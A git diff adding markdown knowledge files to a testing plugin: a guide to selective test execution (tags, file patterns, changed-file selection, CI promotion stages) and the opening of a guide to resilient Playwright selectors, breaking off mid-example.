+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
